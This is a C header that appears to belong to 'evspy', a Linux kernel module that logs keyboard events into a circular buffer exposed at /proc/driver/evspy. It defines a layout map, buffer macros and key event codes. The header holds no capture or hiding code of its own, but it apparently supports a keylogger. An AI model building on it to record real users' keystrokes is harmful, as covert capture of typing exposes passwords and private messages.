#include "maps.h"

#define EVS_MAP		map_es			// change this to your keyboard layout
#define EVS_TROLL	1				// clear this if you're a serious guy
#define EVS_PROCNAME	"driver/evspy"	// virtual file within /proc
#define EVS_BUFSIZE	PAGE_SIZE		// size of the circular buffer

//#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#define MIN(x, y)	(x) < (y) ? (x) : (y)

/*
 * If pointer is at the end of buffer, put it at the beginning.
 * If not, simply add 1 to it.
 */
#define evs_incp(p)		\
({		\
	if (p == &buffer[EVS_BUFSIZE-1])		\
		p = buffer;		\
	else		\
		p++;		\
 	p;		\
})

/*
 * Insert a character where wrp is pointing and move it to the next char.
 * If rdp == wrp, increase rdp too.
 */
#define evs_insrt(c)		\
({		\
	*wrp = c;		\
	if (evs_incp(wrp) == rdp)		\
		evs_incp(rdp);		\
})

/*
 * Is the c event code associated to any of the FX buttons?
 * NOTE: F1-F10 events are consecutive numbers, but F11 & F12 are not. (?)
 */
#define isfX(c)		\
({		\
 	(c >= EVS_COD_F1 && c <= EVS_COD_F10) ||		\
 	(c == EVS_COD_F11 || c == EVS_COD_F12);		\
})

// Bloq mayus has its own type
#define EVS_TYPE_BLKMAYUS	17

// Event values
#define	EVS_VAL_FREE		0
#define	EVS_VAL_PRESS		1
#define	EVS_VAL_HOLD		2

// Event codes
#define	EVS_COD_ESC			1
#define	EVS_COD_TAB			15
#define	EVS_COD_LCTRL		29
#define	EVS_COD_LMAYUS		42
#define	EVS_COD_DOT			52
#define	EVS_COD_RMAYUS		54
#define EVS_COD_ALT			56
#define	EVS_COD_BLKMAYUS	58
#define	EVS_COD_F1			59
#define	EVS_COD_F10			68
#define	EVS_COD_F11			87
#define	EVS_COD_F12			88
#define EVS_COD_RCTRL		97
#define EVS_COD_ALTGR		100
#define EVS_COD_UP_AR		103
#define EVS_COD_DOWN_AR		108
#define EVS_COD_LEFT_AR		105
#define EVS_COD_RIGHT_AR	106